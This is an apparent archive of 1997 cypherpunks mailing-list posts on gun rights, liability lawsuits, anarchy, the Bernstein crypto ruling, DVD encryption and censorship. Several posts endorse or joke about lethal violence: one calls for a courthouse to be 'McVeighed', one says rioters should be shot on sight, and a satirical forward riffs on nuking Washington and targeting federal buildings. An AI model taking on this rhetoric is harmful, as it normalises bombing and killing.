First, let us congratulate you on your findings.  Our analysis tends to
agree with yours regarding Coors.  It certainly does suck at just about any
temperature.

Now, it was our intention when redesigning the MGD can to create better
brand identity and brand loyalty.  Someone in marketing did some kind of
research and determined we needed to redesign the can.

You will be pleased to know, we have fired that idiot and he is now wreaking
havoc at a pro-gun-control beer manufacturer.  The design staffer working in
cahoots with the marketing idiot was also down-sized.

However, once we realized this mistake, to undo it would have been even a
bigger mistake.  So, we took some other actions. From our market research,
we found a difference between Northern beer drinkers and Southern beer
drinkers.

Beer drinkers in the South tend to drink slower than beer drinkers in the
North.  We are still researching why that is.  Anyway, at Miller Beer, it
was never our intention to have someone take more than 2.5 minutes to enjoy
one of our beers.  We pride ourselves in creating fine, smooth,
quick-drinking beers and leave the making of sissy, slow-sipping beers to
that Sam guy in Boston.

However, it is good to know that you feel our Miller Lite can last as long
as 6 minutes.  However, may we suggest in the future you try consuming at
least two in that time frame.

>From your letter, we had our design staff work 'round the clock to come up
with a solution that would help not just MGD but all our fine Miller
products.  We hope you have recently noticed our solution to your problem.
 We found that the hole in the top of the can was not big enough for quick
consumption. So, we have now
introduced the new "Wide Mouth" cans.  We hope this will solve all your
problems.  Might I also suggest that if you want to get the beer out of the
can even faster,  you can poke a hole on the side near the bottom, hold your
finger over it, open the can, tip it to your mouth and then pull your finger
off the hole.  This is a common way to drink beer at parties and impress
your friends.
This technique is known as "shot-gunning".  You should like the name.

Again, thank you for your letter and bringing to our attention that there
might be other beer drinkers taking more than 2.5 minutes to drink our
beers.  Let me assure you that I am have our advertising department work on
a campaign to solve this problem, too.

 Sincerely,

Tom B. Miller
Public Relations
Miller Brewing Co.

P.S. And remember, at Miller Beer we do favor gun control, too.   So please
use two hands when firing.

-----End of forwarded message-----

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 28 Aug 1997 12:44:17 +0800
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
In-Reply-To: <199708280337.XAA03584@www.video-collage.com>
Message-ID: <199708280445.XAA08389@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199708280337.XAA03584@www.video-collage.com>, on 08/27/97 
   at 11:37 PM, Sean Roach <roach_s@alph.swosu.edu> said:

>At 06:10 PM 8/27/97 PDT, John Smith wrote:
>>
>>William H. Geiger III:
>>
>>>In the Salem witch trial they were government trials (which were >based 
>>on
>>>a political power struggle in Salem at the time) not lynch mobs. 
>>
>>And how about our gun-crazy friend, who'd shoot anybody who messed
>>with him, his family, or his property.  What do you think he's going
>>to do when that witch down the street puts a hex on his cow and it
>>dies?  Sounds to me like we've got another shooting coming.  Is that
>>the kind of world you want to live in?
>>
>>"John

>I like the little comment made in the first of MIB.  And I paraphrase.
>Individuals are intelligent, people are stupid.

>That is the defining element of mass hysteria.  The invidiual, if left
>alone would probably settle down, maybe even realize that he or she was
>wrong. The group with its anonymity in numbers, snowballs the emotions
>beyond the control of one person.  I unfortunately chose bad examples. 
>Better ones would be the LA Riots and the famous broadcast of War of the
>Worlds.


While at first glance the LA riots may be an example in your favor but
under closer inspection one can see that it is not.

To show my point take a look at the stores that were looted and burned.
While the unarmed store owners sat and watched their lifes work go up in
smoke the ones who were armed and kept watch from their rooftops were able
to save themselfs and their property.

And where were are beloved Police? Hiding elseware eating thier donuts
becuse they were too *chicken shit* to do thier job. It only goes to show
that when the chips are really down you can not count on the government to
save you.

I don't know what happend in other towns durring the riots but where I was
at we orginised a large group of arms citizens and made it well know that
such actions would not be tolarated.

And before anyone ask yes I think that every rat bastard involved in the
riots should have been shot on sight.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 28 Aug 1997 11:42:32 +0800
To: cypherpunks@Algebra.COM
Subject: Re: heart
Message-ID: <199708280337.XAA03583@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:49 PM 8/27/97 -0700, Kent Crispinu wrote:
>
>On Wed, Aug 27, 1997 at 12:49:42PM -0400, Sean Roach wrote:
>> At 11:55 PM 8/26/97 -0700, Kent Crispin wrote:
>[...]
>> 
>> Pretty soon every revolver will have a warning label.  "Warning, misuse of
>> this tool can result in injury and death.  By handling this item you consent
>> to bear all legal responsibility reguarding its use."  Never mind that such
>> should be implied.
>
>Product liability issues are more prominent when something doesn't 
>function as it is supposed to -- say you are trying to defend 
>yourself against a thief, and the gun blows up in your face.  This is 
>not the same as assuming legal liability for when you shoot someone.
>
>Arguably, even then you should not be able to sue -- the small 
>aircraft industry has been decimated by product liability issues.  
>And I remember when Chouinard went out of the climbing equipment 
>business because of threat of lawsuits.
>
>My understanding is that warning labels -- even signed liability 
>releases -- are of limited use in these cases, because, while you can 
>sign a binding contract that limits your ability to sue, you cannot 
>so bind your survivors. 

I wasn't referring to when the things work improperly.  I was referring to
cases specifically like the lawsuit brought against the makers of the TEC-9
because some idiot used one on an office building full of people and it had
the odassity to work.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 28 Aug 1997 11:43:12 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
Message-ID: <199708280337.XAA03584@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:10 PM 8/27/97 PDT, John Smith wrote:
>
>William H. Geiger III:
>
>>In the Salem witch trial they were government trials (which were >based 
>on
>>a political power struggle in Salem at the time) not lynch mobs. 
>
>And how about our gun-crazy friend, who'd shoot anybody who messed
>with him, his family, or his property.  What do you think he's going
>to do when that witch down the street puts a hex on his cow and it
>dies?  Sounds to me like we've got another shooting coming.  Is that
>the kind of world you want to live in?
>
>"John

I like the little comment made in the first of MIB.  And I paraphrase.
Individuals are intelligent, people are stupid.

That is the defining element of mass hysteria.  The invidiual, if left alone
would probably settle down, maybe even realize that he or she was wrong.
The group with its anonymity in numbers, snowballs the emotions beyond the
control of one person.  I unfortunately chose bad examples.  Better ones
would be the LA Riots and the famous broadcast of War of the Worlds.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 28 Aug 1997 14:59:43 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
In-Reply-To: <199708271949.PAA23255@www.video-collage.com>
Message-ID: <19970827235355.36892@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Aug 27, 1997 at 05:32:15PM -0400, William H. Geiger III wrote:
[...]
> 
> Both of your examples only go to prove the point of anarchy is better then
> governments.

Yes, in the same sense that you can say that unicorns are better than
horses.  But horses are real, and unicorns are imaginary.  Unicorns
have all the advantage -- we don't have to deal with unicorn shit. 

Governments are real, and anarchy is a utopian ideal, just like 
communism.

[...]

> In Germany, as in all mass murders, was the act of the *Governemnt*.
> 
> No matter how you add the numbers up there has been many many more deaths
> caused by governments than there ever has or will be by criminal.

A meaningless assertion.  Like saying "all people who die breathed
air, therefore air is the cause of death".  

You say "guns don't murder people, people murder people", therefore it
follows "Governments don't murder people, people murder people."  
Governments are instruments of people, not independent intelligent 
agents. 

You create this bogeyman, the *GOVERNMENT*, and blame everything on
it.  Now, you have identified the source of all evil.  You imagine a
fantasy hero, Anarchy, with its invincible magic sword, Cryptography,
that can defeat the bogeyman.  With this comforting theology you
swagger down the cryptoanarchy dreamscape, your head filled with the
rightness of your cause, and your righteous piece on your hip, ready
to dispense sudden death to anyone who breaks your rules. 

A comforting dream, to be sure.  But a dream.  Government is a
reality.  All empirical evidence points to government being an
inevitable part of the human condition.  Anarchy is a fantasy. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dave@bureau42.ml.org>
Date: Thu, 28 Aug 1997 08:22:41 +0800
To: Sandromar Ferreira <sandro@pop.hsbcbamerindus.com.br>
Subject: Re: Crypto best book
In-Reply-To: <34048792.F8463AF3@bbamerindus.com.br>
Message-ID: <Pine.LNX.3.96.970828000656.21159E-100000@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



>           What is the best book about cryptography ?

Although "best" is certainly subjective, Nine out of Ten Cypherpunks (TM)
recommend Bruce Schneier's "Applied Cryptography."

http://www.counterpane.com/applied.html

dave





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 28 Aug 1997 13:26:19 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: heart
In-Reply-To: <19970827174950.35762@bywater.songbird.com>
Message-ID: <199708280528.AAA09045@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19970827174950.35762@bywater.songbird.com>, on 08/27/97 
   at 05:49 PM, Kent Crispin <kent@songbird.com> said:

>On Wed, Aug 27, 1997 at 12:49:42PM -0400, Sean Roach wrote:
>> At 11:55 PM 8/26/97 -0700, Kent Crispin wrote:
>[...]
>> 
>> Pretty soon every revolver will have a warning label.  "Warning, misuse of
>> this tool can result in injury and death.  By handling this item you consent
>> to bear all legal responsibility reguarding its use."  Never mind that such
>> should be implied.

>Product liability issues are more prominent when something doesn't 
>function as it is supposed to -- say you are trying to defend  yourself
>against a thief, and the gun blows up in your face.  This is  not the
>same as assuming legal liability for when you shoot someone.

>Arguably, even then you should not be able to sue -- the small  aircraft
>industry has been decimated by product liability issues.   And I remember
>when Chouinard went out of the climbing equipment  business because of
>threat of lawsuits.

>My understanding is that warning labels -- even signed liability 
>releases -- are of limited use in these cases, because, while you can 
>sign a binding contract that limits your ability to sue, you cannot  so
>bind your survivors. 

I find that the majority of calls for tort reform here in the US is due to
a lack of plain 'ol common sense in our judges and population in general.

Lawsuits like the robber who sues the homeowner for breaking his leg, or
the McD coffee case, or tens of thousands of other such cases would have
been laughed out of court 50 yrs ago.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@pobox.com>
Date: Thu, 28 Aug 1997 03:22:59 +0800
To: rishab@dxm.org (Rishab Aiyer Ghosh)
Subject: Study sees privacy lacking on government Web sites (fwd)
Message-ID: <199708280028.AAA00649@fountainhead.net>
MIME-Version: 1.0
Content-Type: text



>From Infobeat :

*** Study sees privacy lacking on government Web sites

While the Clinton administration is pressuring companies with Internet
sites to respect the privacy of Web surfers, a new survey finds the
government itself is far from perfect regarding this issue. Almost
half the 70 Internet sites run by federal agencies collect data about
visitors, but most disclose nothing about how the information will be
used, according to OMB Watch. Privacy concerns arise on the Internet
because whenever a person using Web browsing software visits a site,
the site can collect information about the person, sometimes without
their knowledge. For the full text story, see
http://www.infobeat.com/stories/cgi/story.cgi?id=4638339-daf


-- 

Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@pobox.com 	          | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Virtual Spaces





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 28 Aug 1997 16:31:27 +0800
To: cypherpunks@algebra.com
Subject: Suing gun makers?
In-Reply-To: <199708280337.XAA03583@www.video-collage.com>
Message-ID: <v03102805b02adb18036a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:09 PM -0700 8/27/97, Lucky Green wrote:
>At 11:37 PM 8/27/97 -0400, Sean Roach wrote:
>>I wasn't referring to when the things work improperly.  I was referring to
>>cases specifically like the lawsuit brought against the makers of the TEC-9
>>because some idiot used one on an office building full of people and it had
>>the odassity to work.
>
>Actually, it didn't work. The TEC-9 is such a lousy gun, it jammed
>immediately. The killer dispatched all his victim with his backup 45. Not
>that the pro-victimization lobby would care much about the facts.
>

Are you sure about this, Lucky? I've fired a Tec-9 at the range, and if
functioned OK...just a standard, stamped-metal, 9 that fires from an open
bolt. Any jams, if they occurred, could be cleared easily, probably faster
than a shooter could drop it and replace it with his sidearm.

And just which case are you guys both apparently talking about (without
actually saying so). The Market Street shooting in SF a few years ago?

I recall  hearing that the shooter's victims were suing the gun makers, the
gun stores, the building owners, the city of San Francisco, and probably
the Sanitation Department.

Emotional loss can make people do all sorts of wrong things. But their
suits should have been dismissed immediately, on a matter of law. Was it? I
never heard the outcome.

If they won, then the courthouse in which this happened should be McVeighed.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Jablon <dpj@world.std.com>
Date: Thu, 28 Aug 1997 13:24:19 +0800
To: James A Donald <cypherpunks@toad.com
Subject: Re: Monkey Wrench into the works
In-Reply-To: <199708271737.KAA26892@proxy3.ba.best.com>
Message-ID: <3.0.1.16.19970828005458.3ae7e2f2@world.std.com>
MIME-Version: 1.0
Content-Type: text/plain



James,

You're rebuttal to Myron's message is simplistically
elegant, but just as wrong as the original posting.

It is perfectly fine to secure a relationship using shared
secrets ... in some situations.  You are wrong in implying
that shared secrets don't work anywhere.  Myron is of course
just as wrong in implying that his (or any) shared secret
scheme will replace the many needs for a public-key
infrastructure.  (As the details on his scheme or intended
applications aren't available, I have no further opinion on it.)

"Myron Lewis" <mrlewis@keygen.com> wrote:
> We invite you and everyone on the list [...] to visit the KeyGen
> webpage, www.KeyGen.com and learn about Automatic Synchronized
> KeyGeneration(TM).  If you think you recognize it as something you have seen
> before, you're close but wrong.
>
> We are obviously biased, but we feel strongly and so do many others, that
> ASK will solve many of the security problems presently under discussion.  In
> time, it will probably sink Key Management and Certificate Authorities.

On 8/27/97, James A. Donald replied paraphrasing Ben Franklin,
(who really knew very little about cryptography):
>What one man knows, nobody knows.
>What two men know, everyone knows.
>Shared secrets just don't work.

Clearly in many cases parties must share secrets.
You and your bank keep mutual secrets about your money.
You and your doctor keep mutually secret medical data.
It's hardly a burden in many cases to keep a few more
secret bits on a per-user basis, if it can help make
things a lot more secure.

For example, you might look at <http://world.std.com/~dpj/>
to see what just a few shared secret bits can really do.
The EKE, SPEKE, and related methods leverage a lowly password
as a strong factor in authentication.

Public-keys and CA's are ideal and necessary for many things,
like mutually anonymous short-lived relations.  The
"one-night-stand" web credit transaction comes to mind.
For long-term relationships, the extra overhead of
additional one-on-one key pre-agreement may often be
insignificant, and I dare say that, in *some* cases,
public-key encryption can be made almost irrelevant.

The best methods of course usually combine these different
paradigms as needed to achieve the most security and
efficiency.

------------------------------------
David Jablon
http://world.std.com/~dpj/
dpj@world.std.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmay@got.net (Tim May)
Date: Thu, 28 Aug 1997 16:31:19 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Is this group dead?
In-Reply-To: <jktaberEF8q7z.7I7@netcom.com>
Message-ID: <199708280828.BAA02550@always.got.net>
MIME-Version: 1.0
Content-Type: text/plain



(A copy of this message has also been posted to the following newsgroups:
alt.cypherpunks)

In article <wimlEFHsur.6CE@netcom.com>, wiml@netcom.com (Wim Lewis) wrote:

> In article <5togij$4he$1@quixote.stanford.edu>,
> Rich Graves  <rcgraves@disposable.com> wrote:
> >No, nothing caused it. It's just dead, pretty much always has been.
> >"Always" being only a few months, of course.
> 
> Well, sure --- define "always" as "recently" and you won't see much
> change. More than a couple months ago, it was non-dead (about ten relevant
> articles a day on good days, IIRC). That's why I'm curious.
> 

Some of us posted our articles to the Cypherpunks list(s) to this
newsgroup, when it was first created. For my own part, this was partly to
ensure propagation in case the new distributed mailing lists failed for
some reason, and partly as a show of support for the new newsgroup,
alt.cypherpunks.

But alt.cypherpunks filled up with the usual spam and cross-posts. And the
distributed mailing lists have done well. So most of us don't bother with
it.

If you or other readers are really interested, subscribe to the list.
Newsgroups are just too prone to casual drop-ins, meaning, people who have
no sense of history, no awareness of past issues already hashed out, etc.

(Lest anyone think I'm being "undemocratic," sure. I cop to that. Anyone
who wants to use alt.cypherpunks for discussions is free to. But if nobody
does, so?)

--Tim May

-- 
There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 28 Aug 1997 13:35:09 +0800
To: cypherpunks@toad.com
Subject: Snuffle '97 Released / Re: Reuter on Bernstein Ruling
Message-ID: <199708280526.HAA05384@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Mike Duvos wrote:
> > Patel also issued a permanent injunction barring the government
> > from enforcing the regulations against plaintiff Daniel Bernstein or anyone
> > who sought to use, discuss or publish his encryption program.

> Now that Snuffle has been around for a while, it's obviously time for
> an upgrade.  Might I suggest "Snuffle '95" with the DES, 3DES, RC5,
> and IDEA options.

  I just uploaded "Snuffle '97" to replay.com. The new version includes
source code for PGP 5.0, a JPEG of Hillary Clinton in the nude, and the
predicted date of death for the lawyer who files the government appeal
in the Bernstein case.
  Saddam Hussein liked "Snuffle '97" so much, he bought the company!

SnuffleMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jenaer Mixmaster Anonserver <mixmaster@as-node.jena.thur.de>
Date: Fri, 29 Aug 1997 00:34:03 +0800
To: cypherpunks@cyberpass.net
Subject: Re: need confirmation of DVD/CSS crack in China ...
Message-ID: <m0x3xA1-0003xeC@as-node.jena.thur.de>
MIME-Version: 1.0
Content-Type: text/plain




Ernest Hua (hua@chromatic.com) wrote:
>> Third, the entertainment industry giants will have to improve and agree on
>> an encryption technology. The current 40-bit encryption standard used on
>DVD
>> discs, which is supposed to stop copyright pirates, has already been
>cracked
>> in China. Stronger encryption, however, forces PCs and players to run at a
>> crawl. Partially as a result, Fox, Paramount, and Disney have not
>committed
>> to producing materials on DVD, Burdon noted.

  DVD encryption is described on the Web at:

    http://www.kipinet.com/tdb/tdb_oct96/feat_protection.html

  There's a very simple way to 'break' it - you just copy the entire disk.
Key-size is irrelevant. As the article itself says:

 "While copy protection for DVD is often mistakenly referred to as
  "anti-piracy," it does not in fact provide much of a deterrent to
  those who would produce illegal discs on a mass scale."

  Or in other words, it will do nothing to stop the Chinese, it's simply
intended to prevent you and me from copying disks and giving them to
our friends. This is, of course, inevitable from the nature of the
technology. As has been discussed many times in the past, this kind of
scheme just can't work.

  Since that article is a few months old and talks about the big movie 
company's desire for a mandatory standard and laws against the sale of
any machine which allows access to unencrypted data, I'd guess that this
new article is FUD to persuade Congress to pass the laws.

  (Now explain to me why I'd want to buy yet another video format which
can't even record?)

CopyMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Thu, 28 Aug 1997 22:30:15 +0800
To: demara@geocities.com
Subject: The World's Fastest Crypto Teacher
Message-ID: <34058837.6158@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Alexis wrote:
> Is there anybody that can tutor me how to hack, crack, phrank, and 
> cryptomography ( i'm not sure i speel that last part correctly.
> I would like to get some help, please email me back ASAP thank you so 
> very much

Alexis,
  I would be happy to teach you everything I know about cryptography.
  ...uuhhh...
  There, that didn't take long.
  Any questions?

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Thu, 28 Aug 1997 23:49:08 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
In-Reply-To: <Pine.LNX.3.93.970828143836.514B-100000@shirley>
Message-ID: <3.0.3.32.19970828083746.006fdd88@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3980.1071713726.multipart/signed"

--Boundary..3980.1071713726.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

>>> If one person becomes too much of a nuisance (real trigger happy 
>for
>>> ultra minor infractions [...] relatives, friends, or concerned 
>citizens
>>> will correct (fill trigger happy person with lead).
>>
>>Dosn't help the poor person who got shot dose it?  Am I mad to 
>beleave
>>that getting killed is a reduction of basic civil liberties?
>>
>>> That's how the wild west worked anyway... outlaws didn't last that
>>> long.
>>
>>Nor did the wild west.
>>
>
>And nor the innconent bystanders. The 'you pissed me off - bang bang 
>you're dead' mentality was the reason for one of the largest 
>genocides in human history.

Excuse me, but if you are referring to the Old West, you are seriously
misinformed.  While there certainly was violent crime, the murder rate
(excluding self-defense, deaths from wars, etc.) was actually lower than it
is today.  I came across a doctoral thesis written several years ago that
did a statistical analysis of population data and newspaper obituaries in
cities like Tombstone from around 1850-1890.  The conclusion of the paper
was that while the drinking/gambling/red light districts were certainly
violent places, in general, there was less crime than there is today.  The
life of criminals is hard when everyone is armed, and when the justice
system actually executes convicted murderers in a timely fashion.  (Capital
punishment is the only treatment for criminals that has a 0% recidivism rate.)

Of course, the primary flaw in your logic is that you assume anyone who
wants to own a gun is deranged or unbalanced somehow, and that gun
ownership causes crime.  There are at least 200 million (registered) guns
in the USA, (no reliable figures are available for the quantity of
illegally imported, homemade, and otherwise unregistered weapons) and at
least half of the households in the USA have at least one gun.
Miraculously enough, most people are not murderers or violent criminals,
and even the rate of accidental firearm death/injury has steadily declined
despite increases in the rate of gun ownership.

I had a gun in my pocket when my wife told me she was having an affair with
one of her co-workers, and yet 18 months later, both she and the "other
man" are both alive and healthy--no bullet holes.  I have not even
threatened to misuse firearms in such a manner, since that accomplishes
nothing more than exchanging one set of problems for a new, and more
annoying set.  (Being cheated on sucks, but I am sure that being
anal-rammed by a bunch of HIV+ fat guys in prison sucks even worse.)
Amazingly enough, most people in America have more in common with me than
Colin Ferguson.  (He's the guy who did the Long Island commuter train
murders.)

It really isn't that hard to figure out that shooting a guy breaking
through your bedroom window at 3 AM with a crowbar and a TEC-9 is a Good
Thing, (at least if you value your continued existence, and that of your
family) while shooting someone giving you the finger on the way in to work
is a Bad Thing.  In the second case, there is no threat to your life
involved, so there is no reason to kill anyone.  In the first case, there
is.  Is this brain surgery?


Jonathan Wienke

What part of "the right of the people to keep and bear Arms, shall not be
infringed" is too hard to understand? (From 2nd Amendment, U.S. Constitution)

When everyone is armed, criminals fear everyone, not just the police.

PGP 2.6.2 RSA Key Fingerprint: 7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
DSS/D-H Key Fingerprint: 3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC
Public keys available at pgpkeys.mit.edu. PGP encrypted e-mail preferred.

US/Canadian Windows 95/NT or Mac users:
Get Eudora Light + PGP 5.0 for free at http://www.eudora.com/eudoralight/
Get PGP 5.0 for free at http://bs.mit.edu:8001/pgp-form.html
Commercial version of PGP 5.0 and related products at http://www.pgp.com
Eudora Light + PGP = Free, Convenient Communication Privacy

--Boundary..3980.1071713726.multipart/signed
Content-Type: application/octet-stream; name="pgp00006.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00006.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogUEdQIGZv
ciBQZXJzb25hbCBQcml2YWN5IDUuMApNZXNzYWdlSUQ6IHN5VnpIVTJKK1Yv
ZnNzZEd1eWRkTmlVZ2gvSElGWnBFCgppUUEvQXdVQk5BV2JtOEpGMGtYcXB3
M01FUUs3c1FDZ2hFSkVnVXNacXZSSnNaNkxBeUVmMDN0UWMzWUFuM21WCnJn
eVNUdUx6dUFkWHlPQlQ1ejVWdUh5SQo9TzZLUwotLS0tLUVORCBQR1AgU0lH
TkFUVVJFLS0tLS0K
--Boundary..3980.1071713726.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Fri, 29 Aug 1997 00:00:44 +0800
To: cypherpunks@cyberpass.net
Subject: Cypherpunk Fwd
Message-ID: <3.0.3.32.19970828084616.00701e60@popd.netcruiser>
MIME-Version: 1.0
Content-Type: text/plain



Date: Thu, 28 Aug 1997 17:20:36 +0200 (MET DST)
Subject: U.S. Refugees Flee to Germany
To: cypherpunks@toad.com
From: nobody@replay.com (Anonymous)
Organization: Replay and Company UnLimited
X-001: Replay may or may not approve of the content of this posting
X-002: Report misuse of this automated service to <abuse@replay.com>
X-URL: http://www.replay.com/remailer/
Sender: owner-cypherpunks@cyberpass.net
Reply-To: nobody@replay.com (Anonymous)
X-Loop: cypherpunks@cyberpass.net

~From:
http://www.guidemag.com/newsslant/vigilante-censors.html

~"Whether it's CPAC wanting to nuke all web sites containing the word 
'boy,' Senator Swinestein wanting to nuke all web sites containing the 
word 'bomb,' or Senator Hatch wanting to nuke all web sites containing 
the word 'sex,'" writes Mike Duvos in a Cypherpunks newsgroup, "the 
optimal strategy for service providers has turned out to be to quietly 
remove any material some squeaky wheel is uncomfortable with, keep 
proclaiming themselves to be the strongest supporters of free speech in 
the entire Net community, and stonewall when asked questions which might 
suggest anything to the contrary." 

  Sounds like one of them-thar, cynical, irreverent, shit-disturbing
CypherPunks, to me.

~Now, the pages are back online on a small server in Germany. Organizers 
of the site are raising funds to purchase their own direct connection to 
the Net. However they don't want their computer to be in the US-- but 
not because they plan to violate any US laws. "We are very nervous
about being here," says Jim Finn, who helps run the Free Spirits, "if 
the government is going to use underhanded tactics to intimidate our 
providers and possibly confiscate our equipment." In the course of 
investigations, police frequently seize computers that they never 
return, even when they file no charges. 

  Perhaps Germany should start building refugee camps for American
homosexuals, Jews, and producers of strong encryption.

~If the Internet had sprung up in the 50s, Senator Jesse Helms would be 
riling his white constituents about the scandalous web sites promoting 
interracial marriage and civil rights. The right way to answer to Helms 
and his ilk is not with pacifying assurances that, thanks to filtering, 
people can avoid these offensive ideas, but to confront the underlying 
racism. Now that queer sex is the bugaboo, the answer shouldn't be any 
different. 

  CypherPunk Cult of One Project:?:
  Put up a website containing quotes from Jesse Helms and other high-
profile politicians, public figures, etc., and then actively promote
it being censored and removed from the InterNet.
  (Pictures of a topless Princess Di, etc. Naked children from a "Life"
   magazine photo from the '60's, etc.)
  Has anyone ever sued themselves to have their own site censored and
dismembered?
  "Greg Broiles vs. Greg Broiles" (Kind of has a 'ring' to it.)

~That censorship is bad and dangerous no matter who its victims is a 
concept best grasped today by Cypherpunks steeped in computers and the 
Net. 

  And who came out of internment in the legendary "Flame Camps"
of the late 1990's, vowing, "Never Forgive. No Prisoners."

~Whether it's the painting "Mona Lisa" or the sex video Lisa 
Moaning, 

  WHY DON'T THESE PEOPLE PROVIDE *POINTERS*!!!
  (No, *not* to the "Mona Lisa," you idiot!)

~If hysteria over 
drugs or hate speech or pornography becomes intense enough, then no 
one's data-- which is to say no one's privacy-- is safe. Much better 
than civil libertarians and gay politicos, Internet activists have seen 
the danger in the new wave of repressive laws. Whether they can 
articulate that danger to a broader public remains to be seen. If not, 
the 1990s may be recalled as a short-lived golden age of free expression 
on the Net, and free spirits won't have any place to call home. ** 

  "Give me bandwidth, or give me death."
   
  "Give me your huddled electrons, struggling to be free."

  "Now is the time for all good hackers to come to the aide of
no-country.

  "One if by land. Two if by sea. NULL if by Net."
  ("The Americans are coming! The Americans are coming!)

  "I may not agree with what you censor, but I will defend to the death
  my right to tell you to 'Fuck off and die.'"

  "Ask not what you can do for your country. Ask where the Federal 
  building is."

  "A small step for a nuclear bomb. A big step for D.C."
  ("It's raining donkeys and elephants out there. Better take
   your lead umbrella.")

  "In Diffie-Hellman We Trust."

  "Nuke the candidate of your choice--but Nuke!"

  "The final finding of the TruthMonger Commission is that Tim May acted
  alone. The Magic Nuclear Missle hit D.C., deflected toward Moscow,
  turned around in mid-air and took out London, before coming to rest
  at Rome.
  "There is no evidence to suggest that Jim Bell was ever a member of
